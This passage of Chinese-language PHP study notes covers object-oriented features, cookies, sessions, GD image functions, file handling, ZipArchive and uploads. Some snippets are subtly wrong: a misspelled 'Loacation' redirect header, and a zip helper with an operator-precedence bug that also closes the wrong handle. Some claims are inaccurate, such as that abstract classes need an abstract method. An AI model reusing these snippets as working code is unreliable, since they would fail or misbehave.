public function \_\_sleep() {

return array('server', 'username', 'password', 'db');

}

public function \_\_wakeup() {

$this->connect();

}

// 对象继承

class 子类名 extends 父类 {}

如果一个对象是子类的对象，那么同时也是父类的对象。

单继承：一个类只能继承一个父类，不能同时继承多个类。但一个父类可以被多个子类继承。

instanceof 判断某对象是否为某类的对象

对象名 instanceof 类名

// 访问控制

public 公有的（继承链、本类、外部均可访问）

protected 保护的（仅继承链、本类可访问）

private 私有的（仅本类可访问）

根据成员定义位置、访问位置判断。

# 兼容性问题

- 声明属性时，var关键字声明的默认为public权限

- 声明方法时，省略访问修饰符，默认为public权限

// 重写 override

$this代表本对象，被谁调用，就代表哪个对象。

- 继承时，子类成员名于父类成员名发生冲突，则子类成员会重写父类成员。

- 属性和方法均可被子类重写。

- 当父类的方法或属性已经不满足子类的需求，则需要重写。

- 也可能因为命名不规范导致重写。

私有属性不能被重写，每个私有属性都会被记录。在记录属性名的同时，还会记录类。

如果有内置函数被重写，则可调用父类方法。如调用父类构造方法parent::\_\_construct()

# 重写限制

访问限制：

子类的成员的访问控制必须相等或弱于父类。

方法参数限制：

参数数量必须相同，参数名可不同。

# $this确定原则

$this为调用该方法的对象，表示该方法的执行环境对象。

- 对象调用

- 环境的传递。如果当前调用时，不能确定$this的值(静态调用)，此时静态调用所处对象环境会传递到被调用的方法内。

$this并非永远代表本对象，而是由方法的执行环境决定。

# final

如果父类中的方法被声明为final，则子类无法覆盖（重写）该方法。

如果一个类被声明为final，则不能被继承。

但加有final关键字的类依旧能被实例化！

# 抽象类

关键字：abstract

抽象类不能直接被实例化，必须先继承该抽象类，然后再实例化子类。

抽象类中至少要包含一个抽象方法。非抽象类不能包含抽象方法。

如果类方法被声明为抽象的，那么其中就不能包括具体的功能实现。抽象方法不能包含大括号及方法体。

继承一个抽象类的时候，子类必须实现抽象类中的所有抽象方法。

即，子类必须重写抽象父类中的所有抽象方法。

另外，这些方法的可见性必须和抽象类中一样（或者更为宽松）。

即，如果抽象类中某个抽象方法被声明为protected，那么子类中实现的方法就应该声明为protected或者public，而不能定义为private。

- 抽象类的子类中的普通方法执行方式和其他类相同。

- 作用：

1. 继承，为扩展类，统一公共操作。

2. 限制结构（规范）。规范子类的结构。

// 接口

关键字：interface

- 对象提供的与对象交互的方式就是接口。

- 使用接口可以指定某个类必须实现哪些方法，但不需要定义这些方法的具体内容。

- 通过interface来定义一个接口，就像定义一个标准的类一样，但其中定义所有的方法都是空的。

- 接口中定义的所有属性和方法都必须是public，可省略public关键字。

- 接口中也可以定义常量(const)。接口常量和类常量的使用完全相同。

可以用::访问。接口名::常量名，实现类::常量名。

它们都是定值，可以被子类或子接口使用，但不能修改。

- 接口不能定义属性！

# 定义接口

interface 接口名 {

接口内容（公共方法声明的集合）

}

# 接口实现

- 要实现一个接口，可以使用implements操作符。

- 类中必须实现接口中定义的所有方法，否则会报一个fatal错误。

- 如果要实现多个接口，可以用逗号来分隔多个接口的名称。

- 实现多个接口时，接口中的方法不能有重名。

- 接口也可以继承，通过使用extends操作符。

class 类名 implements 接口名 {

接口方法的实现

}

# 注意

1. 类与抽象类之间是继承关系，类与接口之间是实现关系。

2. 类与抽象类是单继承，类与接口是多实现。

3. 接口不是类，限制类的结构。

4. 接口与接口之间是多继承。用extends关键字。

interface I\_C extends I\_A, I\_B {}

// 静态延迟绑定

self::，代表本类(当前代码所在类)

永远代表本类，因为在类编译时已经被确定。

即，子类调用父类方法，self却不代表调用的子类。

static::，代表本类(调用该方法的类)

用于在继承范围内引用静态调用的类。

运行时，才确定代表的类。

static::不再被解析为定义当前方法所在的类，而是在实际运行时计算的。

// 对象的遍历（迭代）

- 对象通过属性保存数据，故遍历对象的属性。

- foreach语言结构，获得属性名和属性值。

foreach ($obj as $p\_name => $p\_value) {}

# 自定义遍历(迭代器Iterator)

Iterator - 可在内部迭代自己的外部迭代器或类的接口

Iterator::current — 返回当前元素

Iterator::key — 返回当前元素的键

Iterator::next — 向前移动到下一个元素

Iterator::rewind — 返回到迭代器的第一个元素

Iterator::valid — 检查当前位置是否有效

# 对象的克隆

//对象之间的传值是[引用]传递。

克隆：新对象 = clone 旧对象

- 所有的引用属性仍然会是一个指向原来的变量的引用。

\_\_clone()方法在对象被克隆时自动调用。

注意：构造方法对应实例化(new)，克隆方法对应克隆(clone)。

// 单例模式

#三私一公

单例模式（Singleton）用于为一个类生成一个唯一的对象。最常用的地方是数据库连接。使用单例模式生成一个对象后，该对象可以被其它众多对象所使用。

# 防止一个类被实例化多次

class MySQLDB {

private static $instance = null; // 存类实例在此属性中

// 构造方法声明为private，防止直接创建对象

private function \_\_construct() {}

public static function getInstance() {

if(! self::$instance instanceof static) {

self::$instance = new static;

}

return self::$instance;

}

private function \_\_clone() {} // 阻止用户复制对象实例

}

// 魔术方法

\_\_construct 构造方法

\_\_destruct 析构方法

\_\_clone 克隆对象

\_\_sleep 序列化对象

\_\_wakeup 反序列化对象

\_\_autoload 自动加载，使用类但未找到时

\_\_toString 对象被当作字符串使用时

\_\_invoke 当尝试以调用函数的方式调用一个对象时

# 重载 overload

指动态地"创建"类属性和方法

用户可以自由的为对象添加额外的属性，该特性就是重载。

所有的重载方法都必须被声明为public。

当调用当前环境下未定义或不可见的类属性或方法时，重载方法会被调用。

重载相关魔术方法的参数都不能通过引用传递。

# 属性重载

- 处理不可访问的属性

属性重载只能在对象中进行。

# 属性重载对于静态属性无效

在静态方法中，这些魔术方法将不会被调用。所以这些方法都不能被声明为static。

\_\_set 在给不可访问的属性赋值时

public void \_\_set(string $name, mixed $value)

作用：批量管理私有属性，间接保护对象结构

\_\_get 读取不可访问的属性的值时

public mixed \_\_get(string $name)

\_\_isset 当对不可访问的属性调用isset()或empty()时

public bool \_\_isset(string $name)

\_\_unset 当对不可访问的属性调用unset()时

public void \_\_unset(string $name)

# 方法重载

- 处理不可访问的方法

\_\_call 当调用一个不可访问的非静态方法（如未定义，或者不可见）时自动被调用

public mixed \_\_call(string $name, array $arguments)

\_\_callStatic 当在调用一个不可访问的静态方法（如未定义，或者不可见）时自动被调用

public static mixed \_\_callStatic(string $name, array $arguments)

# $name参数是要调用的方法名称。$arguments参数是一个数组，包含着要传递给方法的参数。

// 类型约束

函数的参数可以指定只能为对象或数组

限定为对象则在形参前加类名，限定为数组则在形参前加array

类型约束允许NULL值

类型约束不只是用在类的成员方法里，也能使用在函数里。

// 三大特性

封装：隐藏内部是吸纳，仅开发接口。

继承：一个对象的成员被另一个对象所使用。语法上体现为代码的共用。

多态：多种形态。

// 类与对象·关键字

this 代表本对象

public 公有的（继承链、本类、外部均可访问）

protected 保护的（仅继承链、本类可访问）

private 私有的（仅本类可访问）

parent:: 代表父类

self:: 代表本类(当前代码所在类)

static:: 代表本类(调用该方法的类)

static 静态成员（属性、方法），所有对象均可使用，外部也可直接使用或修改，静态方法不可访问非静态成员

final 方法用final不可被子类重载，类用final不可被继承（方法、类）

const 类常量（属性）

abstract 抽象类

interface 接口

extends 类继承(子接口继承接口、其他普通类继承)

implements 接口实现（类实现接口、抽象类实现借口）（对接口的实现和继承均可有多个）

Iterator 内置接口（迭代）

clone 克隆

instance 实例

instanceof 某对象是否属于某类

/\* 【类与对象相关函数】 \*/

class\_alias([$original [,$alias]]) 给类取别名

class\_exists($class [,$autoload]) 检查类是否已定义

interface\_exists($interface [,$autoload]) 检查接口是否已被定义

method\_exists($obj, $method)检查类的方法是否存在

property\_exists($class, $property) 检查对象或类是否具有该属性

get\_declared\_classes(void) 返回由已定义类的名字所组成的数组

get\_declared\_interfaces(void) 返回一个数组包含所有已声明的接口

get\_class([$obj]) 返回对象的类名

get\_parent\_class([$obj]) 返回对象或类的父类名

get\_class\_methods($class) 返回由类的方法名组成的数组

get\_object\_vars($obj) 返回由对象属性组成的关联数组

get\_class\_vars($class) 返回由类的默认属性组成的数组

is\_a($obj, $class) 如果对象属于该类或该类是此对象的父类则返回TRUE

is\_subclass\_of($obj, $class) 如果此对象是该类的子类，则返回TRUE

get\_object\_vars($obj) 返回由对象属性组成的关联数组

// 常用类

# PHP手册 -> 预定义类

Closure 闭包类，匿名函数对象的final类

stdClass 标准类，通常用于对象类保存集合数据

\_\_PHP\_Incomplete\_Class 不完整类，当只有对象而没有找到类时，则该对象被认为是该类的对象

Exception 异常类

PDO 数据对象类

// 魔术常量

\_\_DIR\_\_ 文件所在的目录

\_\_LINE\_\_ 文件中的当前行号

\_\_FILE\_\_ 文件的完整路径（绝对路径）和文件名

\_\_CLASS\_\_ 类的名称

\_\_METHOD\_\_ 类的方法名，包含类名和方法名

\_\_FUNCTION\_\_ 函数名称，用在方法内只表示方法名

// 反射机制 Reflection

作用：1. 获取结构信息 2. 代理执行

ReflectionClass 报告一个类的有关信息

ReflectionMethod 报告一个方法的有关信息

ReflectionClass::export 输出类结构报告

# 代理执行

实例化 ReflectionFunction 类的对象

$f = new ReflectionFunction('func'); // func为函数func($p)

$f->invoke('param');

/\* 页面跳转 \*/

// PHP

header('Loacation: url')

header()执行完毕后，后面的代码也会继续执行，故需在该语句后加die结束

无法给出提示，直接跳转

// JS方法

location.href = url

// HTML

<meta http-equiv="Refresh" content="表示时间的数值; url=要跳转的URI">

/\* 【Cookie】 \*/

cookie是一种在远程浏览器端储存数据并以此来跟踪和识别用户的机制。

cookie是HTTP标头的一部分，因此setcookie()函数必须在其它信息被输出到浏览器前调用，这和对header()函数的限制类似。可以使用输出缓冲函数来延迟脚本的输出，直到按需要设置好了所有的cookie或者其它HTTP标头。

// 新增

setcookie 新增一条cookie信息

setcookie($name [,$value [,$expire [,$path [,$domain [,$secure [,$httponly]]]]]])

#注意：setcookie()函数前不能有输出！除非开启ob缓存！

# 参数说明

$name - cookie的识别名称

使用$\_COOKIE['name']抵用名为name的cookie

$value - cookie值，可以为数值或字符串，此值保存在客户端，不要用来保存敏感数据

假定$name参数的值为'name'，则$\_COOKIE['name']就可取得该$value值

$expire - cookie的生存期限（Unix时间戳，秒数）

如果$expire参数的值为time()+60\*60\*24\*7则可设定cookie在一周后失效。如果未设定该参数，则会话后立即失效。

$path - cookie在服务器端的指定路径。当设定该值时，服务器中只有指定路径下的网页或程序可以存取该cookie。

如果该参数值为'/'，则cookie在整个domain内有效。

如果设为'/foo/'，则cookie就在domain下的/foo/目录及其子目录内有效。

默认值为设定cookie的当前目录及其子目录。

$domain - 指定此cookie所属服务器的网址名称，预设是建立此cookie服务器的网址。

要是cookie能在如abc.com域名下的所有子域都有效，则该参赛应设为'.abc.com'。

$secure - 指明cookie是否仅通过安全的HTTPS连接传送中的cookie的安全识别常数，如果设定该值则代表只有在某种情况下才能在客户端与服务端之间传递。

当设成true时，cookie仅在安全的连接中被设置。默认值为false。

// 读取

- 浏览器请求时会携带当前域名下的所有cookie信息到服务器。

- 任何从客户端发送的cookie都会被自动存入$\_COOKIE全局数组。

- 如果希望对一个cookie变量设置多个值，则需在cookie的名称后加[]符号。即以数组形态保存多条数据到同一变量。

//设置为$\_COOKIE['user']['name']，注意user[name]的name没有引号

setcookie('user[name]', 'shocker');

- $\_COOKIE也可以为索引数组

// 删除

方法1：将其值设置为空字符串

setcookie('user[name]', '');

方法2：将目标cookie设为“已过期”状态。

//将cookie的生存时间设置为过期，则生存期限与浏览器一样，当浏览器关闭时就会被删除。

setcookie('usr[name]', '', time()-1);

# 注意：

1. cookie只能保存字符串数据

2. $\_COOKIE只用于接收cookie数据，不用于设置或管理cookie数据。

对$\_COOKIE进行操作不会影响cookie数据。

$\_COOKIE只会保存浏览器在请求时所携带的cookie数据。

3. cookie生命周期：

临时cookie：浏览器关闭时被删除

持久cookie：$expire参数为时间戳，表示失效时间。

4. 有效目录

cookie只在指定的目录有效。默认是当前目录及其子目录。

子目录的cookie在其父目录或同级目录不可获取。

5. cookie区分域名

默认是当前域名及其子域名有效。

6. js中通过document.cookie获得，类型为字符串

7. 浏览器对COOKIE总数没有限制，但对每个域名的COOKIE数量和每个COOKIE的大小有限，而且不同浏览器的限制不同。

/\* 【session】 \*/

1. 开启session机制

session\_start()

注意：session\_start()函数前不能有输出！除非开启ob缓存。

2. 操作数据

对$\_SESSION数组进行操作

3. 浏览器端保存SessionID，默认为当前域名下的所有目录及其子目录生效。即默认设置cookie的path值为'/'

4. 服务器保存session数据

默认保存方式：每个会话都会生成一个session数据文件，文件名为：sess\_加SessionID

5. session可以存储除了资源以外的任何类型数据。

数据被序列化后再保存到文件中。

6. $\_SESSION的元素下标不能为整型！

因为只对元素值进行序列化。

元素内的数组下标无此要求。

7. 生存周期

默认是浏览器关闭

因为浏览器保存的cookie变量SessionID是临时的

但是服务器端的session数据文件不一定消失（需要等待session的垃圾回收机制来处理）

可以延长cookie中PHPSESSID变量的生命周期。（不推荐）

php.ini配置session.gc\_maxlifetime

8. 删除数据

$\_SESSION变量在脚本结束时依然会消失。开启session机制时会造出$\_SESSION变量。

$\_SESSION与保存session数据的文件是两个空间。

unset($\_SESSION['key'])只是删除数组内的该元素，不会立即相应到保存session数据的文件上。

等到脚本结束，才会将$\_SESSION的数据写入到该文件中。

session\_destroy() 销毁保存session数据的文件，也不会对该文件写入内容。

并不删除$\_SESSION变量，unset或脚本结束才会删除该变量。

如何完全删除一个session？需删除3部分

unset($\_SESSION);

删除$\_SESSION变量后，数据文件并未被改动。如果单独使用unset，则需先置空$\_SESSION = array()

session\_destroy();

setcookie('PHPSESSID', '', time()-1); //保险做法是将其生命周期失效

整个脚本周期内，只对数据文件读一次、写一次。

// 重写session的存储机制

# session存储方式

session.save\_handler = user|files|memcache

# 因数据文件过多导致的问题，可通过分子目录保存进行解决

PHP配置文件下session.save\_path选项，并需手动创建数据存放目录。

在该配置选项前加层级。分布子目录的原则，利用会话ID的相应字母来分配子目录。仍需手动创建子目录。

session.save\_path = "2; F:/PHPJob/Temp"

# 多服务器数据共享问题

# 数据存储操作：

初始化$open、释放资源$close、读$read、写$write、销毁存储介质$destroy(调用session\_destroy时触发该操作)、垃圾回收$gc

# 会话ID的长度可变。不同的设置方式导致不同长度的会话ID。

session.hash\_function 允许用户指定生成会话ID的散列算法。

'0' 表示MD5（128 位），'1' 表示SHA-1（160 位）。

session.hash\_bits\_per\_character 允许用户定义将二进制散列数据转换为可读的格式时每个字符存放多少个比特。

可能值为 '4'（0-9，a-f），'5'（0-9，a-v），以及 '6'（0-9，a-z，A-Z，"-"，","）。

总hash长度为128bit，会话ID长度为128/可能值，4->32, 5->26, 6->22

# 自定义数据存储操作方法

# 注意：不用关心PHP如何序列化、反序列化、如何得到数据和写入数据，只做与数据存储相关的操作

session\_set\_save\_handler 设置用户自定义的会话数据存储函数

bool session\_set\_save\_handler(callable $open, callable $close, callable $read, callable $write, callable $destroy, callable $gc)

执行顺序：open, close, read, write, destroy, gc

# 先设置处理器，再开启会话

# 常用函数

session\_start 开启或恢复会话机制

session\_id 获取或设置当前会话ID

session\_destroy 销毁当前会话的所有数据（销毁数据文件）

session\_name 获取或设置当前会话名称（cookie变量名，默认为PHPSESSID）

session\_save\_path 获取或设置当前会话数据文件保存路径

session\_set\_save\_handler 设置用户自定义的会话数据存储函数

session\_unset 释放所有会话变量(清空$\_SESSION数组元素)

session\_encode 将当前会话数据编码为一个字符串

session\_decode 将字符串解译为会话数据

session\_write\_close 写入会话数据并关闭会话

session\_register\_shutdown 关闭会话

session\_set\_cookie\_params 设置会话cookie变量，必须在session\_start()前使用。

session\_set\_cookie\_params(0,"/webapp/"); //设置session生存时间

session\_get\_cookie\_params 获取会话cookie变量。返回包含当前会话cookie信息的数组

# 配置php.ini

ini\_set($varname, $newvalue);

//该函数的配置只对当前脚本生效

//并非所有php.ini设置均可用该函数设置

ini\_get($varname) //获取某配置项信息

ini\_get\_all([str $extension]) //返回所有配置项信息的数组

# session扩展配置

session.name 指定会话名以用作cookie的名字。只能由字母数字组成，默认为PHPSESSID。

session.save\_path 定义了传递给存储处理器的参数。

如果选择了默认的files文件处理器，则此值是创建文件的路径。默认为/tmp。

可选的N参数来决定会话文件分布的目录深度。

要使用N参数，必须在使用前先创建好这些目录。在ext/session目录下有个小的shell脚本名叫mod\_files.sh可以用来做这件事。

如果使用了N参数并且N大于0，那么将不会执行自动垃圾回收。

session.save\_handler 定义了来存储和获取与会话关联的数据的处理器的名字。默认为files。

如果用户自定义存储器，则该值改为user。

ini\_set('session.save\_handler', 'user');//此设置只针对当前脚本生效。

session.auto\_start 指定会话模块是否在请求开始时自动启动一个会话。默认为 0（不启动）。

session.gc\_probability与session.gc\_divisor合起来定义了在每个会话初始化时启动gc（garbage collection 垃圾回收）进程的概率。此概率用 gc\_probability/gc\_divisor 计算得来。例如 1/100 意味着在每个请求中有 1% 的概率启动gc进程。session.gc\_divisor默认为100。session.gc\_probability默认为1。

/\* 【图片生成与处理】 \*/GD库

// 画布生成

# 新建画布

imagecreate 新建一个基于调色板的图像

resource imagecreate(int $x\_size, int $y\_size)

imagecreatetruecolor 新建一个真彩色图像

# 基于已有文件或URL创建画布

imagecreatefromgd2 从GD2文件或URL新建一图像

imagecreatefromgd2part 从给定的GD2文件或URL中的部分新建一图像

imagecreatefromgd 从GD文件或URL新建一图像

imagecreatefromgif 由文件或URL创建一个新图象

imagecreatefromjpeg 由文件或URL创建一个新图象

imagecreatefrompng 由文件或URL创建一个新图象

imagecreatefromstring 从字符串中的图像流新建一图像

imagecreatefromwbmp 由文件或URL创建一个新图象

imagecreatefromxbm 由文件或URL创建一个新图象

imagecreatefromxpm 由文件或URL创建一个新图象

// 颜色分配

imagecolorallocate 为一幅图像分配颜色

int imagecolorallocate(resource $image, int $red, int $green, int $blue)

imagecolorallocatealpha 为一幅图像分配颜色 + alpha

imagecolordeallocate 取消图像颜色的分配

imagecolortransparent 将某个颜色定义为透明色

imagecolorat 取得某像素的颜色索引值

imagecolorclosest 取得与指定的颜色最接近的颜色的索引值

imagecolorclosestalpha 取得与指定的颜色加透明度最接近的颜色

imagecolorclosesthwb 取得与给定颜色最接近的色度的黑白色的索引

imagecolorexact 取得指定颜色的索引值

imagecolorexactalpha 取得指定的颜色加透明度的索引值

imagecolormatch 使一个图像中调色板版本的颜色与真彩色版本更能匹配

imagecolorresolve 取得指定颜色的索引值或有可能得到的最接近的替代值

imagecolorresolvealpha 取得指定颜色 + alpha 的索引值或有可能得到的最接近的替代值

imagecolorset 给指定调色板索引设定颜色

imagecolorsforindex 取得某索引的颜色

imagecolorstotal 取得一幅图像的调色板中颜色的数目

// 区域填充

imagefill 区域填充

bool imagefill(resource $image, int $x, int $y, int $color)

imagefilledarc 画一椭圆弧且填充

imagefilledellipse 画一椭圆并填充

imagefilledpolygon 画一多边形并填充

imagefilledrectangle 画一矩形并填充

imagefilltoborder 区域填充到指定颜色的边界为止

imagesettile 设定用于填充的贴图

// 图形创建

imagearc 画椭圆弧

imagechar 水平地画一个字符

imagecharup 垂直地画一个字符

imagedashedline 画一虚线

imageellipse 画一个椭圆

imageline 画一条线段

imagepolygon 画一个多边形

imagerectangle 画一个矩形

imagesetpixel 画一个单一像素

imagesx 取得图像宽度

imagesy 取得图像高度

// 画笔设置

imagesetbrush 设定画线用的画笔图像

imagesetstyle 设定画线的风格

imagesetthickness 设定画线的宽度

// 图形拷贝

imagecopy 拷贝图像的一部分

imagecopymerge 拷贝并合并图像的一部分

imagecopymergegray 用灰度拷贝并合并图像的一部分

imagecopyresampled 重采样拷贝部分图像并调整大小

imagecopyresized 拷贝部分图像并调整大小

// 字符创建

imagestring 水平地画一行字符串

imagestringup 垂直地画一行字符串

imagepsslantfont 倾斜某字体

imagefontheight 取得字体高度

imagefontwidth 取得字体宽度

imagettfbbox 取得使用 TrueType 字体的文本的范围

imageloadfont 载入一新字体

imagepsencodefont 改变字体中的字符编码矢量

imagepsextendfont 扩充或精简字体

// 导出画布为图片

imagegif 以GIF格式将图像输出到浏览器或文件

imagepng 以PNG格式将图像输出到浏览器或文件

imagejpeg 以JPEG格式将图像输出到浏览器或文件

imagewbmp 以WBMP格式将图像输出到浏览器或文件

通过header()发送 "Content-type: image/图片格式" 可以使PHP脚本直接输出图像。

header("Content-type: image/gif"); imagegif($im);

imagegd 将 GD 图像输出到浏览器或文件

imagegd2 将 GD2 图像输出到浏览器或文件

// 释放画布资源

imagedestroy 销毁图像

// 图像信息

image\_type\_to\_extension 取得图像类型的文件后缀

getimagesize 取得图像大小

imagesx 取得图像宽度

imagesy 取得图像高度

imageistruecolor 检查图像是否为真彩色图像

imagetypes 返回当前 PHP 版本所支持的图像类型

// 图像设置

imagerotate 用给定角度旋转图像

imagealphablending 设定图像的混色模式

imageantialias 是否使用抗锯齿（antialias）功能

imagefilter 对图像使用过滤器

imagegammacorrect 对 GD 图像应用 gamma 修正

imageinterlace 激活或禁止隔行扫描

/\* 【缩略图】【水印】 \*/

imagecopyresampled 重采样拷贝部分图像并调整大小

bool imagecopyresampled ( resource $dst\_image , resource $src\_image , int $dst\_x , int $dst\_y , int $src\_x , int $src\_y , int $dst\_w , int $dst\_h , int $src\_w , int $src\_h )

imagecopymerge 拷贝并合并图像的一部分

bool imagecopymerge ( resource $dst\_im , resource $src\_im , int $dst\_x , int $dst\_y , int $src\_x , int $src\_y , int $src\_w , int $src\_h , int $pct )

getimagesize 取得图像大小

array getimagesize ( string $filename [, array &$imageinfo ] )

/\* 【URL函数】 \*/

get\_headers — 取得服务器响应一个 HTTP 请求所发送的所有标头

get\_meta\_tags — 从一个文件中提取所有的 meta 标签 content 属性，返回一个数组

http\_build\_query — 生成 URL-encode 之后的请求字符串

urldecode — 解码已编码的URL字符串

urlencode — 编码URL字符串

parse\_url — 解析URL，返回其组成部分

'http://username:password@hostname/path?arg=value#anchor'

scheme(如http), host, port, user, pass, path, query(在问号?之后), fragment(在散列符号#之后)

//编码可用于交换多个变量

$a = '中国';

$b = '四川';

$a = urlencode($a);

$b = urlencode($b);

$a = $a.'&'.$b;

$b = explode('&', $a);

$a = urldecode($b[1]);

$b = urldecode($b[0]);

echo $a, $b;

//list()函数用于交换变量

list($a, $b) = array($b, $a);

/\* 【文件、目录】 \*/

dirname($path) 返回路径中的目录部分

basename($path [,$suffix]) 返回路径中的文件名部分

pathinfo($path [,$options]) 返回文件路径的信息(数组元素：dirname,basename,extension)

realpath($path) 返回规范化的绝对路径名

copy($source, $dest) 拷贝文件

unlink($file) 删除文件

rename($old, $new) 重命名或移动一个文件或目录

mkdir($path [,$mode [,$recursive]]) 新建目录

$mode表示权限，默认0777

$recursive表示可创建多级目录，默认false

rmdir($dir) 删除目录(目录必须为空，且具有权限)

file\_exists($file) 检查文件或目录是否存在

is\_file($file) 判断文件是否存在且为正常的文件

is\_dir($file) 判断文件名是否存在且为目录

is\_readable($file) 判断文件或目录是否可读

is\_writable($file) 判断文件或目录是否可写

is\_executable($file) 判断给定文件名是否可执行

is\_link($file) 判断给定文件名是否为一个符号连接

tmpfile(void) 建立一个临时文件

tempnam($dir, $prefix) 在指定目录中建立一个具有唯一文件名的文件

file($file) 把整个文件读入一个数组中

fopen($filename, $mode [,$use\_include\_path])

$mode参数：(加入'b'标记解决移植性)

'r' 只读方式打开，将文件指针指向文件头。

'r+' 读写方式打开，将文件指针指向文件头。

'w' 写入方式打开，将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

'w+' 读写方式打开，将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

'a' 写入方式打开，将文件指针指向文件末尾。如果文件不存在则尝试创建之。

'a+' 读写方式打开，将文件指针指向文件末尾。如果文件不存在则尝试创建之。

'x' 创建并以写入方式打开，将文件指针指向文件头。

'x+' 创建并以读写方式打开，将文件指针指向文件头。

fclose($handle) 关闭一个已打开的文件指针

fread($handle, $length) 读取文件（可安全用于二进制文件）

fwrite($handle, $string [,$length]) 写入文件（可安全用于二进制文件）

rewind($handle) 倒回文件指针的位置

ftell($handle) 返回文件指针读/写的位置

fseek($handle, $offset [,$whence]) 在文件指针中定位

feof($handle) 测试文件指针是否到了文件结束的位置

fgets 从文件指针中读取一行

fgetss 从文件指针中读取一行并过滤掉HTML标记

flock($handle, $opt) 轻便的咨询文件锁定

$opt：LOCK\_SH 取得共享锁定（读取的程序）；LOCK\_EX 取得独占锁定（写入的程序）；LOCK\_UN 释放锁定（无论共享或独占）

readfile($file) 读入一个文件并写入到输出缓冲

fflush($handle) 将缓冲内容输出到文件

touch($file [,$time [,$atime]]) 设定文件的访问和修改时间

fileatime 取得文件的上次访问时间

filectime 取得文件的inode修改时间

filegroup 取得文件的组

fileinode 取得文件的inode

filemtime 取得文件修改时间

fileowner 取得文件的所有者

fileperms 取得文件的权限

filesize 取得文件大小

filetype 取得文件类型

/\* fileinfo \*/ 获取/设置文件信息

#扩展Fileinfo，配置php.ini

#extension=php\_fileinfo.dll

finfo\_open([$opt]) //创建一个文件信息资源

finfo\_file($finfo, $file [,$opt]) //获取文件信息

finfo\_set\_flags($finfo, $opt) //设置文件信息项

finfo\_close($finfo) //关闭文件信息资源

mime\_content\_type($file) //获取文件的MIME类型

$opt参数选项：

FILEINFO\_MIME\_ENCODING 文件编码类型

FILEINFO\_MIME\_TYPE 文件MIME类型

//目录

chdir($dir) 改变当前目录

chroot($dir) 将当前目录改变为当前进程的根目录

closedir($handle) 关闭目录句柄

dir($dir) 返回一个目录的实例对象

getcwd() 取得当前工作目录

opendir($path) 打开目录句柄

readdir($handle) 从目录句柄中读取条目

rewinddir($handle) 倒回目录句柄

scandir($dir [,$order]) 列出指定路径中的文件和目录

glob($pattern [,$flags]) 寻找与模式匹配的文件路径

$flags：

GLOB\_MARK - 在每个返回的项目中加一个斜线

GLOB\_NOSORT - 按照文件在目录中出现的原始顺序返回（不排序）

GLOB\_NOCHECK - 如果没有文件匹配则返回用于搜索的模式

GLOB\_NOESCAPE - 反斜线不转义元字符

GLOB\_BRACE - 扩充 {a,b,c} 来匹配 'a'，'b' 或 'c'

GLOB\_ONLYDIR - 仅返回与模式匹配的目录项

查找多种后缀名文件：glob('\*.{php,txt}', GLOB\_BRACE);

/\* 解压缩 \*/

//新建ZipArchive对象

$zip = new ZipArchive;

//打开ZIP文件

$zip->open($file [,$flags]);

$flags：

ZIPARCHIVE::OVERWRITE 覆盖(不存在会自动创建)

ZIPARCHIVE::CREATE 添加(不存在会自动创建)

ZIPARCHIVE::EXCL

ZIPARCHIVE::CHECKCONS

//关闭正在处理的ZIP文件

//解压缩ZIP文件

$zip->extractTo($dest, [$entries]);

$dest：解压到的文件夹，$entries：解压的条目

//添加文件到ZIP文件

$zip->addFile($file, [$newname]);

$newname可以为"dir/file"，这样可以将文件添加到压缩文件中的某个目录下。其他函数也如此。

//添加文件到ZIP文件，而内容来自字符串

$zip->addFromString($file, $str);

//添加空文件夹到ZIP文件

$zip->addEmptyDir($dir);

//通过索引删除ZIP中的文件或文件夹

$zip->deleteIndex($index);

//通过名称删除ZIP中的文件或文件夹

$zip->deleteName($name);

//设置ZIP文件注释

$zip->setArchiveComment($str);

//获取ZIP文件注释

$zip->getArchiveComment();

//通过索引获取文件内容

$zip->getFromIndex($index);

//通过名称获取文件内容

$zip->getFromName($name);

//获取索引文件的文件名称

$zip->getNameIndex($index);

//通过索引重命名文件

$zip->renameIndex($index, $newname);

//通过名称重命名文件

$zip->renameName($name, $newname);

//若将文件夹内容打包成ZIP文件，需循环文件夹的所有目录及文件

function addFileToZip($path, $zip) {

//打开当前文件夹$path

$handle = opendir($path);

//循环读取子文件夹及文件

//为防止文件名本身可被转换为false的情况(比如为"0")，则需用不全等!==

while ($file = readdir($handle) !== false) {

//过滤假文件夹

if ($file != '.' && $file != '..') {

//对于子文件夹则递归调用本函数

if (is\_dir($path . '/' . $file)) {

addFileToZip($path.'/'.$file, $zip);

} else {

//将文件添加到ZIP对象

$zip->addFile($path . '/' . $file);

}

}

}

//关闭文件夹$path

closedir($path);

}

// ----- END 解压缩 ----- //

/\* 【文件上传】 \*/

enctype="multipart/form-data" //FORM标签必须的属性

$\_FILES 上传文件信息数组变量

error 上传错误信息

无错误

文件大小超过php.ini配置

1) upload\_max\_filesize 允许上传的最大文件大小

2) post\_max\_size 最大的POST数据大小

3) memory\_limit 每个脚本能够使用的最大内存数量(默认128MB)

文件大小超过浏览器表单配置

MAX\_FILE\_SIZE 表示表单数据最大文件大小，该元素需在文件上传域之前。(默认2M)

<input type="hidden" name="MAX\_FILE\_SIZE" value="102400">

文件只有部分被上传

文件没有被上传

6,7 临时文件写入时失败

找不到临时文件

文件写入失败

name 文件名

type 文件类型

tmp\_name 上传文件临时路径

size 文件大小

move\_uploaded\_file($path, $newpath); //将上传的文件移动到新位置

is\_uploaded\_file($file) //判断是否为POST上传的文件

//多文件上传

<input type="file" name="updfile[]" /> //HTML中以数组提交

$\_FILES['updfile']['tmp\_name'][0] //服务器端可访问第一个文件的临时路径，其他属性类似

//php.ini配置

file\_uploads = On 是否允许HTTP上传文件

upload\_max\_filesize 上传文件大小限制，默认为2M

post\_max\_size post方式表单数据总大小限制，默认为8M

upload\_tmp\_dir 上传文件临时目录，默认是系统临时目录

需设置上传文件临时目录，给其最小权限

GET方式的最大传输量为2K

/\* 【批量提交】 \*/

FORM表单中的name值可用名称加中括号的形式，在$\_POST获取表单数据时，可多项提交形成数组。

比如多文件上传file，复选框提交checkbox等。

<input type="checkbox" name="id[]" value="值1" />

<input type="checkbox" name="id[]" value="值2" />

$id = $\_POST['id']; //则可获得全部被选中的复选框值，形成索引数组

如果name值为：

<input type="checkbox" name="id[one]" value="值1" />

<input type="checkbox" name="id[two]" value="值2" />

$id = $\_POST['id']; //则可获取所有name为id[...]的值，形成管理数组

/\* iconv \*/

//php.ini配置iconv

[iconv]

;iconv.input\_encoding = ISO-8859-1

;iconv.output\_encoding = ISO-8859-1

